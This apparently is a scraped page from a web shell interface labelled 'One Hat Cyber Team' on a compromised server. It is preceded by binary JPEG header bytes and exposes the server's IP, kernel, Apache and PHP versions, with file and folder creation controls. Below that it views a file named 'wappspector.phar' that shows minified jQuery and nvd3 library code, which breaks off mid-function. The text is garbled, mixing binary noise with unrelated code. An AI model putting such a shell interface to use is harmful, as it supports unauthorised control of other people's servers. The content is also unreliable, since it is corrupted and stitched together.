JFIF  H H (ICC_PROFILE   0 mntrRGB XYZ acsp   - desc trXYZ d gXYZ x bXYZ  rTRC  (gTRC  (bTRC  (wtpt  cprt  بV7eudakt!Q ,*RGPQNČzŬb 5666p z"c83''Mq6Gitql@90.ۚAcN|li:9蠃p/^ZnLx84v;[#$ nh'c32o8Ɛ5KAv*_?nX?pyֆ̈́#z23F0Oe> {Gu.V (C'h/o%>x1X r:(>}{ycX8b]U:dOMsVAp'Z3'3E-ybj:>jOvUw#2cl~@gFCjțbz ^:-tdfj{XTh8aUM^+dAl"(KK m1$$ XKKqržoqg V FF#pG~:]֦!!Ң:pC+ AzӬ].t`='h_/} @L\,x㌼z԰+J-v+Y['8' % X q=[4Sj~4ݢ#dʂēRL5kX؊>l:t\baBA\Q38( ө:&$ 'L#d{qH>*5;jDo ˷YmԈ*[9*5tUf%3= GUW\'AR_W4_P պ -|4RFJZv0d[ˠzJ|PU8;鯌 'VcL,κ>*eb)f,0"j1 1v՘;bJ++COz7%>NU,=z\cEVK>Ic7} .jHn;^觱GHI HVǂO:ߊ{mSV?K|@ AiAT`2j 1~K8’$ ~]=9ឦG *9EMּm5Xf9Qĸ}i D%+t+;F: v:-&h_rD|! Ә;Zl븂':C&ҀaeKkm6 uT".}J&\ hciB2B+T7t?EPþЌmAF\lc2ЊABmE,cն\QJ]d5 `O Y@8?lx#KiI&Ri1fR2f1N%_g*TӨ??N:}+לɀh٭qL,ʈBrcuBmz ̢TV^ 뙏8' ufUX3㓏>NG:/;Hp饕B1K /%iɫ VQ%:_ -1oL?Roa\i^F|W*Na)P X#y㯨z+Cح\вjirm*dWҡQbBȨi'%NEb?'[h=`OiU϶u nR}GW4fVJmiR~J|l%m'%"LW V27NsXb?_={s}ij4Ý=SNjxFV"ԎI(E)]ӝЖm[4 m`5-7Wf󪥎bZKa#Vb%KY5T$y`46̼p C7HM'l{Oi +Pw~j,S5T4(FԨ;A`*HJTPgt(6/cg5U1@Qb8Y!rBzOQKF+6v%=~XDPpWc_-:߈#c坣CW1:^Q 06Ӭq@ Dj$ UW$?9F\cSM5=2>hב\,()JBk; J#j徻W(p=oQD #UMhU*Fc ?N=nF5Ӑ12w05Z뀩4ڣ霅uC1y%nJ8Ԑ*crR 9W=H9,A׻,.ZFb QEGVNs, q';OMmbtNVqOw*֙kPѬ؈XJIӯEWok+R{%j; Yx 7&&,LԜYbw"lI(*`۹F AS- #$413)Qpڤ3RxOJ$cP]viuq {kyN.- B,@󪳪ڸAor%X0UNb9 򍕑7)*233|Rnb@q|EUý$!7&["XOy ~ƓtADhP]mG파9p=ԜZ]ӭሎOeyq !bI GU:5~FoL ST[е$]$g*w]!;m@ޠ&IUڬ{҄բ-.SmҒ` vU"oL;'5s"W)@äL1i}^Y5$+Pv0o HU @ȓsQM)?M\4Q $2;g WJ/NwFJGD: y όMfW!QUZ%azҳDK_XhM^rԝ^!d'<#ﴛO{/F?+$ Y' wg'$ljGAH7l4xѶc}I*esg~;ͤt@B2iB'9C a8fTR: %NO@ m3sv w .@濾 ,FYrT0mUW_v>>d[A6ڊx:YTLHvӺ!nSD}>[mET0_,'C]pjVᅷPDZ[-V0`>}ܟpmֻ2O6O*ݹXHSN(J /+1՟#(P*gEO#w&j6?;ڡ)+U]l\/{莄*I/9<'$'#'yt/&-\\WPL`/p9qa'e¨E] fAAEYnGtm,ϮwXT>AaN#FjŵjQFdq^<H?yJ܃2*3 T4ЧH**W;(ꭽ¾Pf=eyA4FJ6{e]JqOCf#3SJf iMM\ iT$rG8$9>2:M)Q#NKe&"E8.z<mHk?#t˒A]; G0H:f!i! j{1m}o7u;$99Ӱ\ncz:zALq޶wyKT<4X,'!Y;Ͱ6q GM~_~܂}t>(zl}:r L9 fe}.-R*<`c6oܛ=prҽGB)nQ%)s*&i΍%—Zb{m[NNkbwBw Q*dF HP iܛ; aV68j}\eIGI'͔B;yA :^bn-m#@S6ˎr ;~cmƻgU:X6G%[gc{]c4)fpsgY˅>*"1}2<175)]V5)kdkM~`΂:{4nGPTTb   뎱϶w FFᓂG8>zF_H9_rDl:ҶH5Z!Bj.yk}erb:SOT]!ǎ?n:HεZsyztn[7NZ#UQO$.J#]Cr#YX9c<'$z 9 .$$PnDSn 2u5X g\ ?|Aᬰⶵ >>bE)Cb-ruMc׺*,\)`^m ge\k.۫8گoK1gWMpU޻zI=EErz:#6--/Wm\z8מ0x tA_c?Ծc^MژIMyO>l0ċ}t7[\ʲ9̜m_a[姯rְjP\kx1'CdmvF70e+m-]a?ݝKuSMUm 8f Yb!)2Z.UD \~:ܽ8zR̪Kcbs&ߦ1$, w\gc3F$iU#<`:I4{w.2aQ$EXNo?Gm NN rE$#Jn҉!AH'zePzRog8u(tJP߁Z.pÐ͢Aռ65Xsyvm 6RW7W;|0 >OүG@ٳ<>omԼ()kZJlK,F 4)snOQ{u㌏= Ao,ծ?eKBzG 6e6 f|CU _4C[j͕M8,%emM8\ cv COwTGi _94BDf%'ns8MPc&-y"8R_j 3a+z+N 9QlDQ40E VۋrH2I_YO',:뿉WNHvﵐ0B}na*E zUbN#0e"f.Q H5"-HVn=+ # Eiy- v8=g`o[ 鼛2.D^QeB ؅qϿRC~ B+Jۍ8 4*ӖΝ1R BI\ 1[0 I9y)Y " 7]6qg\ vP  s= Ѭ֕)פE< c`ϷU9W,: ?y1hsU(T ge/룮JA]|4aZVAIeIhBI!l$3![qHnw\7R{oM/ִ>5& gwjFE dc@K:V&W/k+=Yk[ @fU5zzmFȖH,[ n-dc wd[z"g4ϘRr0`B8_; #$^Zo5KZYKj GY%s"!a[9I2TF-w#a]˒Itٮei_FpVЧ૱W3eCi7 "}HApG>h֝5i T٧- '`dX1AF$$ޙ_Z]ڷTC Uy JGO} >A"5a> ZUR -Z\9 jrWݖQRݳ*ļ]$ڵXq=/w z\II#{ӭl^;F_R쵎[ָ[gKKͰoQ )W녕іs*kuzŨQde`WU_KLE~"g r<2GyއL(-VY -Z(IU0 |\;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ One Hat Cyber Team
  • Your IP: 216.73.216.181
  • Server IP: 118.139.167.146
  • Server: Linux 146.167.139.118.host.secureserver.net 5.14.0-570.55.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Oct 21 05:27:51 EDT 2025 x86_64
  • Server Software: Apache
  • PHP Version: 8.1.33
  • Buat File | Buat Folder
View File Name : wappspector.phar
",v.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",v.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),v.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="
",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(v.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return B(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=_e(v.pixelPosition,function(e,t){if(t)return t=Be(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return B(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0f&&(e=a.render.queue[f]);f++)d=e.generate(),typeof e.callback==typeof Function&&e.callback(d);a.render.queue.splice(0,f),a.render.queue.length?setTimeout(c):(a.dispatch.render_end(),a.render.active=!1)};setTimeout(c)},a.render.active=!1,a.render.queue=[],a.addGraph=function(b){typeof arguments[0]==typeof Function&&(b={generate:arguments[0],callback:arguments[1]}),a.render.queue.push(b),a.render.active||a.render()},"undefined"!=typeof module&&"undefined"!=typeof exports&&(module.exports=a),"undefined"!=typeof window&&(window.nv=a),a.dom.write=function(a){return void 0!==window.fastdom?fastdom.write(a):a()},a.dom.read=function(a){return void 0!==window.fastdom?fastdom.read(a):a()},a.interactiveGuideline=function(){"use strict";function b(l){l.each(function(l){function m(){var a=d3.mouse(this),d=a[0],e=a[1],i=!0,j=!1;if(k&&(d=d3.event.offsetX,e=d3.event.offsetY,"svg"!==d3.event.target.tagName&&(i=!1),d3.event.target.className.baseVal.match("nv-legend")&&(j=!0)),i&&(d-=f.left,e-=f.top),0>d||0>e||d>o||e>p||d3.event.relatedTarget&&void 0===d3.event.relatedTarget.ownerSVGElement||j){if(k&&d3.event.relatedTarget&&void 0===d3.event.relatedTarget.ownerSVGElement&&(void 0===d3.event.relatedTarget.className||d3.event.relatedTarget.className.match(c.nvPointerEventsClass)))return;return h.elementMouseout({mouseX:d,mouseY:e}),b.renderGuideLine(null),void c.hidden(!0)}c.hidden(!1);var l=g.invert(d);h.elementMousemove({mouseX:d,mouseY:e,pointXValue:l}),"dblclick"===d3.event.type&&h.elementDblclick({mouseX:d,mouseY:e,pointXValue:l}),"click"===d3.event.type&&h.elementClick({mouseX:d,mouseY:e,pointXValue:l})}var n=d3.select(this),o=d||960,p=e||400,q=n.selectAll("g.nv-wrap.nv-interactiveLineLayer").data([l]),r=q.enter().append("g").attr("class"," nv-wrap nv-interactiveLineLayer");r.append("g").attr("class","nv-interactiveGuideLine"),j&&(j.on("touchmove",m).on("mousemove",m,!0).on("mouseout",m,!0).on("dblclick",m).on("click",m),b.guideLine=null,b.renderGuideLine=function(c){i&&(b.guideLine&&b.guideLine.attr("x1")===c||a.dom.write(function(){var b=q.select(".nv-interactiveGuideLine").selectAll("line").data(null!=c?[a.utils.NaNtoZero(c)]:[],String);b.enter().append("line").attr("class","nv-guideline").attr("x1",function(a){return a}).attr("x2",function(a){return a}).attr("y1",p).attr("y2",0),b.exit().remove()}))})})}var c=a.models.tooltip();c.duration(0).hideDelay(0)._isInteractiveLayer(!0).hidden(!1);var d=null,e=null,f={left:0,top:0},g=d3.scale.linear(),h=d3.dispatch("elementMousemove","elementMouseout","elementClick","elementDblclick"),i=!0,j=null,k="ActiveXObject"in window;return b.dispatch=h,b.tooltip=c,b.margin=function(a){return arguments.length?(f.top="undefined"!=typeof a.top?a.top:f.top,f.left="undefined"!=typeof a.left?a.left:f.left,b):f},b.width=function(a){return arguments.length?(d=a,b):d},b.height=function(a){return arguments.length?(e=a,b):e},b.xScale=function(a){return arguments.length?(g=a,b):g},b.showGuideLine=function(a){return arguments.length?(i=a,b):i},b.svgContainer=function(a){return arguments.length?(j=a,b):j},b},a.interactiveBisect=function(a,b,c){"use strict";if(!(a instanceof Array))return null;var d;d="function"!=typeof c?function(a){return a.x}:c;var e=function(a,b){return d(a)-b},f=d3.bisector(e).left,g=d3.max([0,f(a,b)-1]),h=d(a[g]);if("undefined"==typeof h&&(h=g),h===b)return g;var i=d3.min([g+1,a.length-1]),j=d(a[i]);return"undefined"==typeof j&&(j=i),Math.abs(j-b)>=Math.abs(h-b)?g:i},a.nearestValueIndex=function(a,b,c){"use strict";var d=1/0,e=null;return a.forEach(function(a,f){var g=Math.abs(b-a);null!=a&&d>=g&&c>g&&(d=g,e=f)}),e},function(){"use strict";a.models.tooltip=function(){function b(){if(k){var a=d3.select(k);"svg"!==a.node().tagName&&(a=a.select("svg"));var b=a.node()?a.attr("viewBox"):null;if(b){b=b.split(" ");var c=parseInt(a.style("width"),10)/b[2];p.left=p.left*c,p.top=p.top*c}}}function c(){if(!n){var a;a=k?k:document.body,n=d3.select(a).append("div").attr("class","nvtooltip "+(j?j:"xy-tooltip")).attr("id",v),n.style("top",0).style("left",0),n.style("opacity",0),n.selectAll("div, table, td, tr").classed(w,!0),n.classed(w,!0),o=n.node()}}function d(){if(r&&B(e)){b();var f=p.left,g=null!==i?i:p.top;return a.dom.write(function(){c();var b=A(e);b&&(o.innerHTML=b),k&&u?a.dom.read(function(){var a=k.getElementsByTagName("svg")[0],b={left:0,top:0};if(a){var c=a.getBoundingClientRect(),d=k.getBoundingClientRect(),e=c.top;if(0>e){var i=k.getBoundingClientRect();e=Math.abs(e)>i.height?0:e}b.top=Math.abs(e-d.top),b.left=Math.abs(c.left-d.left)}f+=k.offsetLeft+b.left-2*k.scrollLeft,g+=k.offsetTop+b.top-2*k.scrollTop,h&&h>0&&(g=Math.floor(g/h)*h),C([f,g])}):C([f,g])}),d}}var e=null,f="w",g=25,h=0,i=null,j=null,k=null,l=!0,m=400,n=null,o=null,p={left:null,top:null},q={left:0,top:0},r=!0,s=100,t=!0,u=!1,v="nvtooltip-"+Math.floor(1e5*Math.random()),w="nv-pointer-events-none",x=function(a){return a},y=function(a){return a},z=function(a){return a},A=function(a){if(null===a)return"";var b=d3.select(document.createElement("table"));if(t){var c=b.selectAll("thead").data([a]).enter().append("thead");c.append("tr").append("td").attr("colspan",3).append("strong").classed("x-value",!0).html(y(a.value))}var d=b.selectAll("tbody").data([a]).enter().append("tbody"),e=d.selectAll("tr").data(function(a){return a.series}).enter().append("tr").classed("highlight",function(a){return a.highlight});e.append("td").classed("legend-color-guide",!0).append("div").style("background-color",function(a){return a.color}),e.append("td").classed("key",!0).html(function(a,b){return z(a.key,b)}),e.append("td").classed("value",!0).html(function(a,b){return x(a.value,b)}),e.selectAll("td").each(function(a){if(a.highlight){var b=d3.scale.linear().domain([0,1]).range(["#fff",a.color]),c=.6;d3.select(this).style("border-bottom-color",b(c)).style("border-top-color",b(c))}});var f=b.node().outerHTML;return void 0!==a.footer&&(f+=""),f},B=function(a){if(a&&a.series){if(a.series instanceof Array)return!!a.series.length;if(a.series instanceof Object)return a.series=[a.series],!0}return!1},C=function(b){o&&a.dom.read(function(){var c,d,e=parseInt(o.offsetHeight,10),h=parseInt(o.offsetWidth,10),i=a.utils.windowSize().width,j=a.utils.windowSize().height,k=window.pageYOffset,p=window.pageXOffset;j=window.innerWidth>=document.body.scrollWidth?j:j-16,i=window.innerHeight>=document.body.scrollHeight?i:i-16;var r,t,u=function(a){var b=d;do isNaN(a.offsetTop)||(b+=a.offsetTop),a=a.offsetParent;while(a);return b},v=function(a){var b=c;do isNaN(a.offsetLeft)||(b+=a.offsetLeft),a=a.offsetParent;while(a);return b};switch(f){case"e":c=b[0]-h-g,d=b[1]-e/2,r=v(o),t=u(o),p>r&&(c=b[0]+g>p?b[0]+g:p-r+c),k>t&&(d=k-t+d),t+e>k+j&&(d=k+j-t+d-e);break;case"w":c=b[0]+g,d=b[1]-e/2,r=v(o),t=u(o),r+h>i&&(c=b[0]-h-g),k>t&&(d=k+5),t+e>k+j&&(d=k+j-t+d-e);break;case"n":c=b[0]-h/2-5,d=b[1]+g,r=v(o),t=u(o),p>r&&(c=p+5),r+h>i&&(c=c-h/2+5),t+e>k+j&&(d=k+j-t+d-e);break;case"s":c=b[0]-h/2,d=b[1]-e-g,r=v(o),t=u(o),p>r&&(c=p+5),r+h>i&&(c=c-h/2+5),k>t&&(d=k);break;case"none":c=b[0],d=b[1]-g,r=v(o),t=u(o)}c-=q.left,d-=q.top;var w=o.getBoundingClientRect(),k=window.pageYOffset||document.documentElement.scrollTop,p=window.pageXOffset||document.documentElement.scrollLeft,x="translate("+(w.left+p)+"px, "+(w.top+k)+"px)",y="translate("+c+"px, "+d+"px)",z=d3.interpolateString(x,y),A=n.style("opacity")<.1;l?n.transition().delay(m).duration(0).style("opacity",0):n.interrupt().transition().duration(A?0:s).styleTween("transform",function(){return z},"important").style("-webkit-transform",y).style("opacity",1)})};return d.nvPointerEventsClass=w,d.options=a.utils.optionsFunc.bind(d),d._options=Object.create({},{duration:{get:function(){return s},set:function(a){s=a}},gravity:{get:function(){return f},set:function(a){f=a}},distance:{get:function(){return g},set:function(a){g=a}},snapDistance:{get:function(){return h},set:function(a){h=a}},classes:{get:function(){return j},set:function(a){j=a}},chartContainer:{get:function(){return k},set:function(a){k=a}},fixedTop:{get:function(){return i},set:function(a){i=a}},enabled:{get:function(){return r},set:function(a){r=a}},hideDelay:{get:function(){return m},set:function(a){m=a}},contentGenerator:{get:function(){return A},set:function(a){A=a}},valueFormatter:{get:function(){return x},set:function(a){x=a}},headerFormatter:{get:function(){return y},set:function(a){y=a}},keyFormatter:{get:function(){return z},set:function(a){z=a}},headerEnabled:{get:function(){return t},set:function(a){t=a}},_isInteractiveLayer:{get:function(){return u},set:function(a){u=!!a}},position:{get:function(){return p},set:function(a){p.left=void 0!==a.left?a.left:p.left,p.top=void 0!==a.top?a.top:p.top}},offset:{get:function(){return q},set:function(a){q.left=void 0!==a.left?a.left:q.left,q.top=void 0!==a.top?a.top:q.top}},hidden:{get:function(){return l},set:function(a){l!=a&&(l=!!a,d())}},data:{get:function(){return e},set:function(a){a.point&&(a.value=a.point.x,a.series=a.series||{},a.series.value=a.point.y,a.series.color=a.point.color||a.series.color),e=a}},tooltipElem:{get:function(){return o},set:function(){}},id:{get:function(){return v},set:function(){}}}),a.utils.initOptions(d),d}}(),a.utils.windowSize=function(){var a={width:640,height:480};return window.innerWidth&&window.innerHeight?(a.width=window.innerWidth,a.height=window.innerHeight,a):"CSS1Compat"==document.compatMode&&document.documentElement&&document.documentElement.offsetWidth?(a.width=document.documentElement.offsetWidth,a.height=document.documentElement.offsetHeight,a):document.body&&document.body.offsetWidth?(a.width=document.body.offsetWidth,a.height=document.body.offsetHeight,a):a},a.utils.windowResize=function(b){return window.addEventListener?window.addEventListener("resize",b):a.log("ERROR: Failed to bind to window.resize with: ",b),{callback:b,clear:function(){window.removeEventListener("resize",b)}}},a.utils.getColor=function(b){if(void 0===b)return a.utils.defaultColor();if(Array.isArray(b)){var c=d3.scale.ordinal().range(b);return function(a,b){var d=void 0===b?a:b;return a.color||c(d)}}return b},a.utils.defaultColor=function(){return a.utils.getColor(d3.scale.category20().range())},a.utils.customTheme=function(a,b,c){b=b||function(a){return a.key},c=c||d3.scale.category20().range();var d=c.length;return function(e){var f=b(e);return"function"==typeof a[f]?a[f]():void 0!==a[f]?a[f]:(d||(d=c.length),d-=1,c[d])}},a.utils.pjax=function(b,c){var d=function(d){d3.html(d,function(d){var e=d3.select(c).node();e.parentNode.replaceChild(d3.select(d).select(c).node(),e),a.utils.pjax(b,c)})};d3.selectAll(b).on("click",function(){history.pushState(this.href,this.textContent,this.href),d(this.href),d3.event.preventDefault()}),d3.select(window).on("popstate",function(){d3.event.state&&d(d3.event.state)})},a.utils.calcApproxTextWidth=function(a){if("function"==typeof a.style&&"function"==typeof a.text){var b=parseInt(a.style("font-size").replace("px",""),10),c=a.text().length;return c*b*.5}return 0},a.utils.NaNtoZero=function(a){return"number"!=typeof a||isNaN(a)||null===a||1/0===a||a===-1/0?0:a},d3.selection.prototype.watchTransition=function(a){var b=[this].concat([].slice.call(arguments,1));return a.transition.apply(a,b)},a.utils.renderWatch=function(b,c){if(!(this instanceof a.utils.renderWatch))return new a.utils.renderWatch(b,c);var d=void 0!==c?c:250,e=[],f=this;this.models=function(a){return a=[].slice.call(arguments,0),a.forEach(function(a){a.__rendered=!1,function(a){a.dispatch.on("renderEnd",function(){a.__rendered=!0,f.renderEnd("model")})}(a),e.indexOf(a)<0&&e.push(a)}),this},this.reset=function(a){void 0!==a&&(d=a),e=[]},this.transition=function(a,b,c){if(b=arguments.length>1?[].slice.call(arguments,1):[],c=b.length>1?b.pop():void 0!==d?d:250,a.__rendered=!1,e.indexOf(a)<0&&e.push(a),0===c)return a.__rendered=!0,a.delay=function(){return this},a.duration=function(){return this},a;a.__rendered=0===a.length?!0:a.every(function(a){return!a.length})?!0:!1;var g=0;return a.transition().duration(c).each(function(){++g}).each("end",function(){0===--g&&(a.__rendered=!0,f.renderEnd.apply(this,b))})},this.renderEnd=function(){e.every(function(a){return a.__rendered})&&(e.forEach(function(a){a.__rendered=!1}),b.renderEnd.apply(this,arguments))}},a.utils.deepExtend=function(b){var c=arguments.length>1?[].slice.call(arguments,1):[];c.forEach(function(c){for(var d in c){var e=b[d]instanceof Array,f="object"==typeof b[d],g="object"==typeof c[d];f&&!e&&g?a.utils.deepExtend(b[d],c[d]):b[d]=c[d]}})},a.utils.state=function(){if(!(this instanceof a.utils.state))return new a.utils.state;var b={},c=function(){},d=function(){return{}},e=null,f=null;this.dispatch=d3.dispatch("change","set"),this.dispatch.on("set",function(a){c(a,!0)}),this.getter=function(a){return d=a,this},this.setter=function(a,b){return b||(b=function(){}),c=function(c,d){a(c),d&&b()},this},this.init=function(b){e=e||{},a.utils.deepExtend(e,b)};var g=function(){var a=d();if(JSON.stringify(a)===JSON.stringify(b))return!1;for(var c in a)void 0===b[c]&&(b[c]={}),b[c]=a[c],f=!0;return!0};this.update=function(){e&&(c(e,!1),e=null),g.call(this)&&this.dispatch.change(b)}},a.utils.optionsFunc=function(a){return a&&d3.map(a).forEach(function(a,b){"function"==typeof this[a]&&this[a](b)}.bind(this)),this},a.utils.calcTicksX=function(b,c){var d=1,e=0;for(e;ed?f:d}return a.log("Requested number of ticks: ",b),a.log("Calculated max values to be: ",d),b=b>d?b=d-1:b,b=1>b?1:b,b=Math.floor(b),a.log("Calculating tick count as: ",b),b},a.utils.calcTicksY=function(b,c){return a.utils.calcTicksX(b,c)},a.utils.initOption=function(a,b){a._calls&&a._calls[b]?a[b]=a._calls[b]:(a[b]=function(c){return arguments.length?(a._overrides[b]=!0,a._options[b]=c,a):a._options[b]},a["_"+b]=function(c){return arguments.length?(a._overrides[b]||(a._options[b]=c),a):a._options[b]})},a.utils.initOptions=function(b){b._overrides=b._overrides||{};var c=Object.getOwnPropertyNames(b._options||{}),d=Object.getOwnPropertyNames(b._calls||{});c=c.concat(d);for(var e in c)a.utils.initOption(b,c[e])},a.utils.inheritOptionsD3=function(a,b,c){a._d3options=c.concat(a._d3options||[]),c.unshift(b),c.unshift(a),d3.rebind.apply(this,c)},a.utils.arrayUnique=function(a){return a.sort().filter(function(b,c){return!c||b!=a[c-1]})},a.utils.symbolMap=d3.map(),a.utils.symbol=function(){function b(b,e){var f=c.call(this,b,e),g=d.call(this,b,e);return-1!==d3.svg.symbolTypes.indexOf(f)?d3.svg.symbol().type(f).size(g)():a.utils.symbolMap.get(f)(g)}var c,d=64;return b.type=function(a){return arguments.length?(c=d3.functor(a),b):c},b.size=function(a){return arguments.length?(d=d3.functor(a),b):d},b},a.utils.inheritOptions=function(b,c){var 